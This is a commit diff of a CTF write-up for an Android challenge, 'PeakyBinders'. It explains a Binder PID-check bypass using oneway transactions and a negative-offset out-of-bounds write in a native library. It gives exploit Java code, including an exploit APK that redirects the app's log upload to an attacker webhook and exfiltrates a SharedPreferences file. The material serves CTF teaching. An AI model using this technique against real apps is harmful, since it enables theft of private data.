updates people updates
This commit is contained in:
@@ -1,149 +0,0 @@
|
||||
{
|
||||
"projectVersion": 2,
|
||||
"files": [
|
||||
"../PeakyBinders-df87519a5cdcf8f1d106cebb41b8ca8879274b7cf2a2237156a517d3e143a969.apk"
|
||||
],
|
||||
"treeExpansionsV2": [],
|
||||
"codeData": {
|
||||
"comments": [],
|
||||
"renames": [
|
||||
{
|
||||
"nodeRef": {
|
||||
"refType": "METHOD",
|
||||
"declClass": "com.peaky.binders.PeakyService$1",
|
||||
"shortId": "DebugCheckFile([B)V"
|
||||
},
|
||||
"codeRef": {
|
||||
"attachType": "VAR",
|
||||
"index": 131080
|
||||
},
|
||||
"newName": "serverUrl"
|
||||
},
|
||||
{
|
||||
"nodeRef": {
|
||||
"refType": "METHOD",
|
||||
"declClass": "com.peaky.binders.PeakyService$1",
|
||||
"shortId": "DebugCheckFile([B)V"
|
||||
},
|
||||
"codeRef": {
|
||||
"attachType": "VAR",
|
||||
"index": 458757
|
||||
},
|
||||
"newName": "len_content"
|
||||
}
|
||||
]
|
||||
},
|
||||
"openTabs": [
|
||||
{
|
||||
"type": "class",
|
||||
"tabPath": "com.peaky.binders.Achievement",
|
||||
"subPath": "java",
|
||||
"caret": 83,
|
||||
"view": {
|
||||
"x": 0,
|
||||
"y": 0
|
||||
},
|
||||
"active": false,
|
||||
"pinned": false,
|
||||
"bookmarked": false,
|
||||
"hidden": false,
|
||||
"previewTab": false
|
||||
},
|
||||
{
|
||||
"type": "class",
|
||||
"tabPath": "com.peaky.binders.AchievementAdapter",
|
||||
"subPath": "java",
|
||||
"caret": 369,
|
||||
"view": {
|
||||
"x": 0,
|
||||
"y": 0
|
||||
},
|
||||
"active": false,
|
||||
"pinned": false,
|
||||
"bookmarked": false,
|
||||
"hidden": false,
|
||||
"previewTab": false
|
||||
},
|
||||
{
|
||||
"type": "class",
|
||||
"tabPath": "com.peaky.binders.MainActivity",
|
||||
"subPath": "java",
|
||||
"caret": 5293,
|
||||
"view": {
|
||||
"x": 0,
|
||||
"y": 1512
|
||||
},
|
||||
"active": true,
|
||||
"pinned": false,
|
||||
"bookmarked": false,
|
||||
"hidden": false,
|
||||
"previewTab": false
|
||||
},
|
||||
{
|
||||
"type": "class",
|
||||
"tabPath": "com.peaky.binders.R",
|
||||
"subPath": "java",
|
||||
"caret": 400993,
|
||||
"view": {
|
||||
"x": 0,
|
||||
"y": 191555
|
||||
},
|
||||
"active": false,
|
||||
"pinned": false,
|
||||
"bookmarked": false,
|
||||
"hidden": false,
|
||||
"previewTab": false
|
||||
},
|
||||
{
|
||||
"type": "class",
|
||||
"tabPath": "com.peaky.binders.PeakyService",
|
||||
"subPath": "java",
|
||||
"caret": 449,
|
||||
"view": {
|
||||
"x": 0,
|
||||
"y": 108
|
||||
},
|
||||
"active": false,
|
||||
"pinned": false,
|
||||
"bookmarked": false,
|
||||
"hidden": false,
|
||||
"previewTab": false
|
||||
},
|
||||
{
|
||||
"type": "class",
|
||||
"tabPath": "com.peaky.binders.IPeakyService",
|
||||
"subPath": "java",
|
||||
"caret": 2059,
|
||||
"view": {
|
||||
"x": 0,
|
||||
"y": 627
|
||||
},
|
||||
"active": false,
|
||||
"pinned": false,
|
||||
"bookmarked": false,
|
||||
"hidden": false,
|
||||
"previewTab": false
|
||||
},
|
||||
{
|
||||
"type": "resource",
|
||||
"tabPath": "AndroidManifest.xml",
|
||||
"subPath": "",
|
||||
"caret": 344,
|
||||
"view": {
|
||||
"x": 0,
|
||||
"y": 0
|
||||
},
|
||||
"active": false,
|
||||
"pinned": false,
|
||||
"bookmarked": false,
|
||||
"hidden": false,
|
||||
"previewTab": false
|
||||
}
|
||||
],
|
||||
"cacheDir": "/home/cato/.cache/jadx/projects/PeakyBinders-df87519a5cdcf8f1d106cebb41b8ca8879274b7cf2a2237156a517d3e143a969-d1321210fa1b70152852835e73296d91",
|
||||
"enableLiveReload": false,
|
||||
"searchHistory": [],
|
||||
"searchResourcesFilter": "$TEXT",
|
||||
"searchResourcesSizeLimit": 0,
|
||||
"pluginOptions": {}
|
||||
}
|
||||
@@ -33,7 +33,6 @@ The app seems to be used as an Achievement Tracker:
|
||||
The first two achievements are trivial. For the first you have to enter a name containing `shelby`. The second requires to press a button twenty times.
|
||||
|
||||
The PeakyService is an exported Android Service that exposes a custom Binder interface. Through this interface, it allows external processes interact with three specific methods: `DebugCheckFile`, `isAchievmentUnlocked` and `enableDebugMode`.
|
||||
This is our entry point for the exploit.
|
||||
|
||||
The function `DebugCheckFile` unlocks the third achievement. This has to be the secret command.
|
||||
|
||||
@@ -47,35 +46,9 @@ public void DebugCheckFile(byte[] bArr) throws RemoteException {
|
||||
}
|
||||
Log.d("PeakyService", "Called from a root process: " + callingPid);
|
||||
PeakyService.this.logToFile("DebugCheckFile called from root process - PID: " + callingPid);
|
||||
String str = new String(bArr);
|
||||
PeakyService.this.logToFile("Caller name: ".concat(str));
|
||||
String[] strArrRetrieveLog = PeakyService.this.RetrieveLog(str);
|
||||
if (strArrRetrieveLog != null && strArrRetrieveLog.length == 2) {
|
||||
final String serverUrl = strArrRetrieveLog[0];
|
||||
final String log_content = strArrRetrieveLog[1];
|
||||
Log.d("PeakyService", "DEBUG serverUrl: " + serverUrl);
|
||||
Log.d("PeakyService", "DEBUG logContent length: " + log_content.length());
|
||||
PeakyService.this.logToFile("DEBUG serverUrl: " + serverUrl);
|
||||
new Thread(new Runnable() { // from class: com.peaky.binders.PeakyService.1.1
|
||||
@Override // java.lang.Runnable
|
||||
public void run() {
|
||||
try {
|
||||
HttpURLConnection httpURLConnection = (HttpURLConnection) new URL(serverUrl + "/logs/").openConnection();
|
||||
httpURLConnection.setRequestMethod("POST");
|
||||
httpURLConnection.setDoOutput(true);
|
||||
httpURLConnection.setRequestProperty("Content-Type", "text/plain");
|
||||
OutputStream outputStream = httpURLConnection.getOutputStream();
|
||||
outputStream.write(log_content.getBytes());
|
||||
outputStream.flush();
|
||||
outputStream.close();
|
||||
Log.d("PeakyService", "HTTP Response: " + httpURLConnection.getResponseCode());
|
||||
httpURLConnection.disconnect();
|
||||
} catch (Exception e) {
|
||||
Log.e("PeakyService", "Failed to send logs: " + e.getMessage());
|
||||
}
|
||||
}
|
||||
}).start();
|
||||
}
|
||||
|
||||
//[28 lines of Code removed for clarity]
|
||||
|
||||
Intent intent = new Intent(PeakyService.ACTION_ACHIEVEMENT_UNLOCKED);
|
||||
intent.putExtra(PeakyService.EXTRA_ACHIEVEMENT_INDEX, 2);
|
||||
PeakyService.this.sendBroadcast(intent);
|
||||
@@ -84,21 +57,14 @@ public void DebugCheckFile(byte[] bArr) throws RemoteException {
|
||||
|
||||
### Bypass the root requirement
|
||||
|
||||
The first problem to tackle is to circumvent the root check.
|
||||
To unlock the third achievement we have to call the method from a process with `PID = 0`.
|
||||
Usually having a PID of `0` is not possible for normal user space processes.
|
||||
Thankfully the Android API helps us out.
|
||||
|
||||
```java
|
||||
int callingPid = Binder.getCallingPid();
|
||||
if (callingPid != 0) {
|
||||
Log.d("PeakyService", "We allow a root process only: " + callingPid);
|
||||
PeakyService.this.logToFile("DebugCheckFile called - rejected, PID: " + callingPid);
|
||||
return;
|
||||
}
|
||||
```
|
||||
|
||||
The Android API reference for Binder.getCallingPid states the following https://developer.android.com/reference/android/os/Binder#getCallingPid()
|
||||
The [Android API reference](https://developer.android.com/reference/android/os/Binder#getCallingPid()) for `Binder.getCallingPid` states the following:
|
||||
> Warning do not use this as a security identifier! PID is unreliable as it may be re-used. This should mostly be used for debugging. oneway transactions do not receive PID. Even if you expect a transaction to be synchronous, a misbehaving client could send it as a asynchronous call and result in a 0 PID here.
|
||||
|
||||
To abuse this bug you can use a function like this (by the courtesy of Claude):
|
||||
The wrongful usage of `Binder.getCallingPid` as an authorization mechanism makes the PID check trivial to pass.
|
||||
```java
|
||||
private void sendOnewayTransaction(byte[] payload) throws RemoteException {
|
||||
Parcel data = Parcel.obtain();
|
||||
@@ -110,13 +76,50 @@ private void sendOnewayTransaction(byte[] payload) throws RemoteException {
|
||||
data.recycle();
|
||||
}
|
||||
```
|
||||
This proves there is a way to call DebugCheckFile and get our third achievement but there is still no flag in sight.
|
||||
|
||||
### Leak file content
|
||||
Wuhu we got the third achievement!
|
||||
I hoped that the flag is then somehow shown on the screen but this was not the case.
|
||||
|
||||
### Further analysis
|
||||
|
||||
I left out 28 lines of code from `DebugCheckFile` earlier:
|
||||
```java
|
||||
String str = new String(bArr);
|
||||
PeakyService.this.logToFile("Caller name: ".concat(str));
|
||||
String[] strArrRetrieveLog = PeakyService.this.RetrieveLog(str);
|
||||
if (strArrRetrieveLog != null && strArrRetrieveLog.length == 2) {
|
||||
final String serverUrl = strArrRetrieveLog[0];
|
||||
final String log_content = strArrRetrieveLog[1];
|
||||
Log.d("PeakyService", "DEBUG serverUrl: " + serverUrl);
|
||||
Log.d("PeakyService", "DEBUG logContent length: " + log_content.length());
|
||||
PeakyService.this.logToFile("DEBUG serverUrl: " + serverUrl);
|
||||
new Thread(new Runnable() { // from class: com.peaky.binders.PeakyService.1.1
|
||||
@Override // java.lang.Runnable
|
||||
public void run() {
|
||||
try {
|
||||
HttpURLConnection httpURLConnection = (HttpURLConnection) new URL(serverUrl + "/logs/").openConnection();
|
||||
httpURLConnection.setRequestMethod("POST");
|
||||
httpURLConnection.setDoOutput(true);
|
||||
httpURLConnection.setRequestProperty("Content-Type", "text/plain");
|
||||
OutputStream outputStream = httpURLConnection.getOutputStream();
|
||||
outputStream.write(log_content.getBytes());
|
||||
outputStream.flush();
|
||||
outputStream.close();
|
||||
Log.d("PeakyService", "HTTP Response: " + httpURLConnection.getResponseCode());
|
||||
httpURLConnection.disconnect();
|
||||
} catch (Exception e) {
|
||||
Log.e("PeakyService", "Failed to send logs: " + e.getMessage());
|
||||
}
|
||||
}
|
||||
}).start();
|
||||
}
|
||||
```
|
||||
`DebugCheckFile` sends logs to some server. The log content and the server URL come from `RetrieveLog`. This seems to be some functionality for debugging or telemetry purposes.
|
||||
|
||||
|
||||
Looking a bit further into the function the content and server url is fetched by `String[] strArrRetrieveLog = PeakyService.this.RetrieveLog(str)`.
|
||||
### Weaponizing telemetry
|
||||
|
||||
RetrieveLog is not in the Java code. It is defined in a separate compiled Binary named `libpeaky.so`.
|
||||
```java
|
||||
static {
|
||||
System.loadLibrary("peaky");
|
||||
@@ -126,18 +129,16 @@ static {
|
||||
public native String[] RetrieveLog(String str);
|
||||
```
|
||||
|
||||
This just turned into a x86_64 reversing challenge!
|
||||
Using IDA I found out that the Java string that is passed to the function is consumed by `sscanf(callerNameCStr, "%15[^:]:%d:%c", callerTag, &partialOffset, &separatorChar)`.
|
||||
|
||||
The function accepts a Java string that acts as a command, reads the last 2048 bytes of a log file to a buffer, and returns a two-element Java String[] array containing a server URL and the log contents.
|
||||
By examining the callerTag comparisons in the decompiled source, I identified two valid commands: `FULL` and `PARTIAL`.
|
||||
|
||||
The command is parsed with `sscanf(callerNameCStr, "%15[^:]:%d:%c", callerTag, &partialOffset, &separatorChar)`.
|
||||
Because of this a command has the format `"<command>:<offset>:<separator>"`.
|
||||
There are two commands: `FULL` and `PARTIAL`
|
||||
|
||||
As per my understanding both commands only differ slightly. The `PARTIAL` command writes `separatorChar` at `partialOffset` in the buffer.
|
||||
Both commands are nearly identical: each opens a file, reads its final 2048 bytes into a buffer, and returns that buffer along with a URL. The URL serves as the target to which the buffer's contents are sent as we have already seen.
|
||||
The only difference is that the `PARTIAL` command additionally writes `separatorChar` into the buffer at `partialOffset` before returning.
|
||||
|
||||
This is the logic for writing the separator into the buffer:
|
||||
```
|
||||
|
||||
```c
|
||||
if ( *(_QWORD *)callerTag == 'LAITRAP' ) // If PARTIAL set separator
|
||||
{
|
||||
clampedOffset = partialOffset;
|
||||
@@ -156,37 +157,34 @@ if ( *(_QWORD *)callerTag == 'LAITRAP' ) // If PARTIAL set separator
|
||||
g_fileBuffer[separatorPos] = separatorChar;
|
||||
}
|
||||
```
|
||||
The security problem here is that `clampedOffset` and `partialOffset` are both signed integers.
|
||||
When `clampedOffset` is negative, like `-1`, the subtraction wraps:
|
||||
The vulnerability lies in the fact that both `clampedOffset` and `partialOffset` are signed integers. The upper bound check `partialOffset >= 2049` correctly rejects values that are too large, but there is no lower bound check. Negative values pass through unconstrained. When `calmpedOffset` is negative the subtraction wraps upwards.
|
||||
```
|
||||
2048 - (-1) = 2049
|
||||
```
|
||||
|
||||
`g_fileBuffer[2049]` is the first byte **past** the buffer, which lands exactly on `g_serverUrl[0]`.
|
||||
`g_fileBuffer[2049]` is one byte **past** the end of the buffer, which lands exactly on `g_serverUrl[0]`. More generally, to write to `g_serverUrl[i]` we need `separatorPos = 2049 + i`
|
||||
|
||||
Generalizing: to write to `g_serverUrl[i]` you need `separatorPos = 2049 + i` which means:
|
||||
```
|
||||
2048 - clampedOffset = 2049 + i
|
||||
clampedOffset = -(1 + i)
|
||||
```
|
||||
|
||||
This allows an attacker to change the URL byte for byte.
|
||||
Same thing can be done with the logFilePath (here with an offset of `65` and not `1`).
|
||||
This gives an attacker byte-by-byte control over `g_serverUrl`. The same technique applies to `g_logFilePath`, which sits 65 bytes past the end of the buffer.
|
||||
|
||||
|
||||
Memory layout in .data:
|
||||
The relevant memory layout in .data is:
|
||||
```
|
||||
g_fileBuffer @ 0x39D8 (2049 bytes, ends at 0x41D8)
|
||||
g_serverUrl @ 0x41D9 (64 bytes)
|
||||
g_logFilePath @ 0x4219 (64 bytes)
|
||||
```
|
||||
By overwriting `g_serverUrl` to an attacker-controlled server and `g_logFilePath` to any file on the device an attacker can read any arbitrary file and exfiltrate data to any URL.
|
||||
|
||||
Using this we now have an arbitrary file read.
|
||||
|
||||
### Flag location
|
||||
|
||||
We still need to find the Flag.
|
||||
At this point I remembered that the achievements are loaded on start from a file.
|
||||
This indicates that the app as some form of context or environment variables.
|
||||
|
||||
```java
|
||||
private SharedPreferences prefs;
|
||||
@@ -213,20 +211,21 @@ private void loadProgress() {
|
||||
this.adapter.notifyDataSetChanged();
|
||||
}
|
||||
```
|
||||
|
||||
I asked Claude where these SharedPreferences are stored.
|
||||
It not only told me that the standard path is `/data/data/<package_name>/shared_prefs/<PREFS_NAME>.xml` it also said this is a common flag hiding spot for CTFs.
|
||||
It told me that the standard path is `/data/data/<package_name>/shared_prefs/<PREFS_NAME>.xml`.
|
||||
|
||||
|
||||
### Writing the Exploit
|
||||
|
||||
This challenge is special to me because we are not given a url with a port by the organizers to attack but a portal where we can upload APKs.
|
||||
As I never wrote an APK before and had no Idea how to handle IPC on Android I generated the following exploit with Claude.
|
||||
It feels a bit filthy but trying to first blood the challenge made me rush.
|
||||
|
||||
In summary the malicious APK overwrites the webhook URL and the filepath byte per byte and triggers a full read at the end.
|
||||
To circumvent the `PID == 0` check the sendOnewayTransaction function from above is used.
|
||||
To circumvent the `PID == 0` check the `sendOnewayTransaction` function from above is used.
|
||||
|
||||
```java
|
||||
|
||||
package com.hacker.exploit;
|
||||
|
||||
import android.app.Activity;
|
||||
@@ -243,7 +242,7 @@ import android.util.Log;
|
||||
public class MainActivity extends Activity {
|
||||
private static final String TAG = "Exploit";
|
||||
private IBinder peakyBinder;
|
||||
private static final String WEBHOOK_URL = <WEBHOOK_URL>";
|
||||
private static final String WEBHOOK_URL = "<WEBHOOK_URL>";
|
||||
private static final String TARGET = "/data/data/com.peaky.binders/shared_prefs/PeakyPrefs.xml";
|
||||
|
||||
private ServiceConnection connection = new ServiceConnection() {
|
||||
@@ -303,3 +302,8 @@ public class MainActivity extends Activity {
|
||||
}
|
||||
|
||||
```
|
||||
|
||||
### Conclusion
|
||||
|
||||
I am happy that the flag was indeed stored at `/data/data/com.peaky.binders/shared_prefs/PeakyPrefs.xml`. At the time I had no further ideas where the flag could be hidden.
|
||||
This challenge was a lot of fun and showed once again how important it is to use APIs only for their intended purpose especially when they are used to implement a security measure.
|
||||
|
||||
Reference in New Issue
Block a user